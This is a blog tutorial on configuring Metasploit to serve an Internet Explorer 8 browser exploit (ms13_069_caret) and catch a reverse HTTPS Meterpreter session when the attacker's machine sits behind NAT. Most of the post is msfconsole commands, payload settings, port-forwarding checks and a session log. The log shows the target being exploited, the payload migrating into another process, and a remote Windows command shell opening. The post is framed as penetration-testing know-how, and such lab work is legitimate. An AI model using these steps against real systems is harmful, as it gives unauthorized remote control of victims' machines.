Please consider donating: https://www.corelan.be/index.php/donate/


111,764 views

Metasploit Meterpreter and NAT

Professional pentesters typically use a host that is connected directly to the internet, has a public IP address, and is not hindered by any firewalls or NAT devices to perform their audit. Hacking "naked" is considered to be the easiest way to perform a penetration test that involves getting shells back.

Not everyone has the luxury of putting a box directly connected to the internet and as the number of free public IP addresses continues to decrease, the need for using an audit box placed in a LAN, behind a router or firewall, will increase.

Putting an audit box behind a device that will translate traffic from private to public and vice versa has some consequences. Not only will you need to be sure that the NAT device won’t "break" if you start a rather fast portscan, but since the host is in a private LAN, behind a router or firewall, it won’t be reachable directly from the internet. 

Serving exploits and handling reverse, incoming, shells can be problematic in this scenario.

In this small post, we’ll look at how to correctly configure Meterpreter payloads and make them work when your audit box is behind a NAT device.   We’ll use a browser exploit to demonstrate how to get a working Meterpreter session, even if both the target and the Metasploit "attacker" box are behind NAT.

Network setup

I’ll be using the following network setup in this post:

Labsetup

Both the attacker and the target are behind a NAT device. We don’t know the IP range used by the target and we’ve determined there is no direct way in from the internet to the target network, so the public IP of the target is not relevant.

We’ll assume that the target has the ability to connect to the internet over port 80 and 443.

I’ve used IP 1.1.1.1 to indicate the "public" side of our attack network.  You will have to replace this IP with your own public IP when trying the steps in this post.

I will use Kali Linux as the attacker and I have set up a clone of the Metasploit Git repository on the box:

cd /
mkdir -p /pentest/exploits
git clone https://github.com/rapid7/metasploit.git
cd metasploit-framework
bundle install

If you already had a git clone set up, make sure to update to the latest and greatest with "git pull".  (A small bug, related with using Meterpreter behind NAT was just fixed a few hours ago, so it’s important to update to the latest version)

The target is just a Windows XP SP3 box, but it doesn’t really matter what it is, as long as we can use a browser exploit to demonstrate how to use Meterpreter.  I have installed Internet Explorer 8 from IECollection (download here: http://utilu.com/IECollection/).   I’ll be using this IE version because it’s outdated and pretty much vulnerable to most of the IE8 browser exploits out there.

Set up forwarding on the attacker side

If we ever want to be able to accept connections from the target, we will need to configure the attacker firewall/NAT to forward traffic on certain ports.  The exact steps to do this will be very specific to the brand/model/type of router/firewall that you are using, so this is beyond the scope of this post.   In general, the idea is to configure the router/firewall so traffic to the public IP address of the router, on ports 80 and 443, will be forwarded to 192.168.0.187 (which is the LAN IP of my attacker box).  When setting up the router/firewall, make sure to check if port 80 and/or 443 are not used by the router/firewall (management interface, VPN endpoint, etc).

We’ll use port 80 to serve the browser exploit and port 443 for the reverse Meterpreter connection.  First, we need to verify that the forwarding works.

On Kali, create a small html file and store it under /tmp

root@krypto1:/# cd /tmp
root@krypto1:/tmp# echo "It works" > test.html

Next, make sure nothing is currently using port 80 or port 443

root@krypto1:/tmp# netstat -vantu | grep :80
root@krypto1:/tmp# netstat -vantu | grep :443

If you don’t see output to both commands, you should be good to go.  If something is listed, you’ll need to find what process is using the port and kill the process.  For port 80, you could check the processes that are taking control over the http port using the following lsof command:

root@krypto1:/tmp# lsof -i | grep :http 
apache2    4634     root    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
apache2    4642 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
apache2    4643 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
apache2    4644 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
apache2    4645 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)
apache2    4646 www-data    4u  IPv6 393366      0t0  TCP *:http (LISTEN)

Just stop apache2 to free up the port:

root@krypto1:/tmp# service apache2 stop
Stopping web server: apache2 ... waiting .
root@krypto1:/tmp# 

With all ports available, we’ll run a simple web server and serve the "test.html" page. From the folder that contains the test.html file, run this python command:

root@krypto1:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...

If you now connect to http://192.168.0.187/test.html from the Kali box itself, you should see the "It works" page and the

web1

The output on the Kali box should list the connection and show that the page was served with response 200

root@krypto1:/tmp# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
192.168.0.187 - - [04/Jan/2014 12:42:02] "GET /test.html HTTP/1.1" 200 -

Perfect, this proves that the webserver works.  On the target computer, connect to http://1.1.1.1/test.html (again, replace 1.1.1.1 with the public IP of the router/firewall on the attacker side) and you should get the same thing.  If you don’t see the page, check that the forwarding is set up correctly. 

If this works for port 80, go back to the attacker box and terminate the python command using CTRL+C.  Then launch the command again, this time using port 443:

root@krypto1:/tmp# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...

Now access the webserver over port 443.  Despite the fact that we are using 443 and that 443 is commonly associated with https (encrypted), our python handler is not using encryption. In other words, we still have to use http instead of https in the URL:

web2

root@krypto1:/tmp# python -m SimpleHTTPServer 443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /test.html HTTP/1.1" 200 -
192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -
192.168.0.187 - - [04/Jan/2014 12:47:44] code 404, message File not found
192.168.0.187 - - [04/Jan/2014 12:47:44] "GET /favicon.ico HTTP/1.1" 404 -

(don’t worry about the 404 messages related with /favicon.ico – it’s safe to ignore them)

If you can connect to http://1.1.1.1:443/test.html from the target computer, we know that the port forwarding is working correctly for both port 80 and 443.  If this doesn’t work, there’s no point in proceeding, because anything else we try will fail.

When everything works, close the python command to free up port 443 too.

Metasploit configuration

Browser exploit – meterpreter/reverse_https

First of all, let’ set up Metasploit to serve the browser exploit and handle a reverse https Meterpreter connection.   The idea is to trick the target into connecting to the exploit on port 80 and serve the meterpreter/reverse_https connection over port 443.

Go to the metasploit-framework folder, open msfconsole (don’t forget the ./ if you want to be sure you’re running msfconsole from the current folder and not the version that was installed with Kali) and select an exploit. For the sake of this exercise, I’ll use ms13_069_caret.rb:

root@krypto1:/tmp# cd /pentest/exploits/metasploit-framework/
(master) root@krypto1:/pentest/exploits/metasploit-framework# ./msfconsole 
     ,           ,
    /             \
   ((__---,,,---__))
      (_) O O (_)_________
         \ _ /            |\
          o_o \   M S F   | \
               \   _____  |  *
                |||   WW|||
                |||     |||


       =[ metasploit v4.9.0-dev [core:4.9 api:1.0]
+ -- --=[ 1248 exploits - 678 auxiliary - 199 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops

msf > use exploit/windows/browser/ms13_069_caret 
msf exploit(ms13_069_caret) > 

Show the options:

msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     8080             yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH                      no        The URI to use for this exploit (default is random)


Exploit target:

   Id  Name
   --  ----
   0   IE 8 on Windows XP SP3

The exploit requires a SRVHOST and SRVPORT.  These 2 variables will be used by Metasploit to determine where the webserver needs to bind to and listen on.  The plan is to trick the target to connect to this webserver, using the public IP of our firewall/router, which will then forward the traffic to our Metasploit instance.

We can’t tell the Metasploit webserver to listen to the public IP of our router, because it won’t be able to "bind" itself to that IP address.  If we use 0.0.0.0, the Metasploit webserver will simply listen on all interfaces for incoming traffic.  In other words, you can leave the SRVHOST to 0.0.0.0, or you can set it to the LAN IP of the Kali box itself (192.168.0.187 in this case).  I’ll just leave the default 0.0.0.0. 

Next, we need to change the port to 80, and we’ll set the URIPATH to /  (so we can predict what the URI will be, instead of letting Metasploit create a random URI):

msf exploit(ms13_069_caret) > set SRVPORT 80
SRVPORT => 80
msf exploit(ms13_069_caret) > set URIPATH /
URIPATH => /

Next, let’s select the meterpreter reverse_https payload for windows. If we run "show options" again, we’ll see this:

msf exploit(ms13_069_caret) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(ms13_069_caret) > show options

Module options (exploit/windows/browser/ms13_069_caret):

   Name        Current Setting  Required  Description
   ----        ---------------  --------  -----------
   SRVHOST     0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     80               yes       The local port to listen on.
   SSL         false            no        Negotiate SSL for incoming connections
   SSLCert                      no        Path to a custom SSL certificate (default is randomly generated)
   SSLVersion  SSL3             no        Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
   URIPATH     /                no        The URI to use for this exploit (default is random)


Payload options (windows/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique: seh, thread, process, none
   LHOST                      yes       The local listener hostname
   LPORT     443              yes       The local listener port


Exploit target:

   Id  Name
   --  ----
   0   IE 8 on Windows XP SP3


msf exploit(ms13_069_caret) > 

The Module options (SRVHOST and SRVPORT) are set the way we want it.  The Payload options require an LHOST and LPORT.  Based on the output above, the LPORT is already set to 443. This is the port where the Meterpreter reverse connection will attempt to connect to.  If it was not set to 443 already on your box, simply run "set LPORT 443" to make sure the Meterpreter handler will listen on port 443:

msf exploit(ms13_069_caret) > set LPORT 443
LPORT => 443

Note: In any case, to keep things as easy as possible, try to use the same ports for a specific "service".  That is, if you host the webserver on port 80 on the firewall, try to make sure to also forward traffic to port 80 on the attacker/Metasploit box, and host the exploit on port 80 in Metasploit.  The same thing applies to the payload. If we serve the payload on port 443, make sure to use this port everywhere.

LHOST serves 2 purposes :

  • It indicates the IP address where the Meterpreter shellcode will have to connect back to (from the target, to the attacker).
  • It tells Metasploit where to bind to when setting up the Meterpreter "handler".

Since our attacker host is behind NAT, we have to use the public IP address of the router/firewall as LHOST.  When the exploit is executed, this IP will be embedded in the shellcode and when the initial Meterpreter shellcode runs on the target, it will connect back to this IP address.  The port forwarding on our router/firewall will then forward traffic to our LAN IP of the attacker host.  For this reason, we need to set LHOST to 1.1.1.1 (the public IP of your attacker router/firewall)

Using a public IP as LHOST also means that Metasploit will attempt to bind itself to that IP when setting up the Meterpreter handler.  Since this IP belongs to the router/firewall and not to the Metasploit instance, this will obviously fail.  The good thing is that Metasploit will automatically fall back to 0.0.0.0 and basically serve the Meterpreter handler on all local IPs on the attacker host, while remembering that LHOST was set to our public IP address.  This is exactly what we need.

Set LHOST to 1.1.1.1

msf exploit(ms13_069_caret) > set LHOST 1.1.1.1
LHOST => 1.1.1.1

If we don’t really want the Meterpreter handler to fall back to 0.0.0.0, we can use one of the "advanced" options and tell it to listen on the LAN IP address:

msf exploit(ms13_069_caret) > set ReverseListenerBindAddress 192.168.0.187
ReverseListenerBindAddress => 192.168.0.187

and then fire up the exploit:

msf exploit(ms13_069_caret) > exploit
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://192.168.0.187:443/
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://192.168.0.187:80/
[*] Server started.

The output shows us that

  • http://0.0.0.0:80 (or http://192.168.0.187:80) is hosting the browser exploit. If the target connects to http://1.1.1.1, traffic will be forwarded to the Kali box on port 80 and serve the exploit.
  • The HTTPS reverse handler is listening on 192.168.0.187, port 443.

What we don’t see in the output is the fact that the actual Meterpreter shellcode contains IP address 1.1.1.1 to connect back to.  That value is taken from the LHOST variable.

If you didn’t use ReverseListenerBindAddress and you get something like the output below after running "exploit", then check the following

  1. check that the port is free to use
  2. make sure you are running the latest version of Metasploit
  3. set the ReverseListenerBindAddress to your local LAN IP or to 0.0.0.0
  4. exit msfconsole and open it again. under certain scenario’s, you’ll notice that the bind doesn’t get properly cleaned up if you ran a session before.
msf exploit(ms13_069_caret) > exploit
[*] Exploit running as background job.

[-] Exploit failed: Rex::AddressInUse The address is already in use (0.0.0.0:443).

If we now use IE8 (from IECollection) on the target and connect to the public IP of our attacker router/firewall on port 80, we should see this:

msf exploit(ms13_069_caret) > [*] 2.2.2.2   ms13_069_caret - Sending exploit...
[*] 2.2.2.2   ms13_069_caret - Sending exploit...
[*] 2.2.2.2:53893 Request received for /NtFT...
[*] 2.2.2.2:53893 Staging connection for target /NtFT received...
[*] Patched user-agent at offset 663128...
[*] Patched transport at offset 662792...
[*] Patched URL at offset 662856...
[*] Patched Expiration Timeout at offset 663728...
[*] Patched Communication Timeout at offset 663732...
[*] Meterpreter session 1 opened (192.168.0.187:443 -> 2.2.2.2:53893) at 2014-01-05 09:24:26 +0100
[*] Session ID 1 (192.168.0.187:443 -> 2.2.2.2:53893) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (2952)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 500
[+] Successfully migrated to process 

msf exploit(ms13_069_caret) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 592 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\peter\Desktop>

2.2.2.2 is the public IP of the target.  Metasploit is sending the payload when the target connects to port 80, exploits the browser and executes the initial meterpreter payload. This payload will download metsrv.dll (which gets patched by Metasploit first, so it would contain the attacker public IP and port), loads it into memory (using reflective load) and runs the code.  When that is done, you get a full Meterpreter session. Life is good.

So, in a nutshell, set the following variables and you should be good to go:

  • SRVHOST : 0.0.0.0
  • SRVPORT : set to the port where you want to host the browser exploit
  • LHOST : the attacker public IP
  • LPORT : set to the port where you want to serve the Meterpreter handler
  • ReverseListenerBindAddress : LAN IP  (optional)

If, for whatever reason, you also want to host the Meterpreter handler on another port than what the client will connect to, then you can use LPORT to specify where the target will connect back to, and use ReverseListenerBindPort to indicate where the handler needs to listen to. Obviously, you’ll need to make sure the port forwarding will connect to the right port on your attacker machine.


© 2014 – 2021, Peter Van Eeckhoutte (corelanc0d3r). All rights reserved.

2 Responses to Metasploit Meterpreter and NAT

Corelan Training

We have been teaching our win32 exploit dev classes at various security cons and private companies & organizations since 2011

Check out our schedules page here and sign up for one of our classes now!

Donate

Want to support the Corelan Team community ? Click here to go to our donations page.

Want to donate BTC to Corelan Team?



Your donation will help funding server hosting.

Corelan Team Merchandise

You can support Corelan Team by donating or purchasing items from the official Corelan Team merchandising store.

Protected by Copyscape Web Plagiarism Tool

Corelan on Slack

You can chat with us and our friends on our Slack workspace:

  • Go to our facebook page
  • Browse through the posts and find the invite to Slack
  • Use the invite to access our Slack workspace
  • Categories